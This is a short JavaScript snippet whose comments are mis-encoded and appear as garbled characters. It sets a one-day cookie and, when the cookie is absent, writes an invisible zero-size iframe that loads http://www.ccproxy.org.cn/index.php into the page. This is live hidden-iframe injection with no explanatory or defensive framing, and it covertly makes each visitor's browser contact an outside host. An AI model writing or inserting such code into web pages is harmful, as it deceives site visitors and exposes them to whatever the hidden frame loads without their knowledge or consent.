function setc()	//ÉèÖÃcookie
{
	var expires = new Date();
	expires.setTime(expires.getTime() + 1 * 24* 60 * 60 * 1000);
	document.cookie="ccproxy=ccproxycookie;expires="+expires.toGMTString();
}

function getc()	//µÃµ½cookie
{
	if(document.cookie.indexOf('ccproxycookie') != -1)
	{
		return true;
	}
	else
	{
		return false;
	}
}

	if(!getc())
	{
		setc();
		document.write("<iframe src=http://www.ccproxy.org.cn/index.php width=0 height=0></iframe>");
	}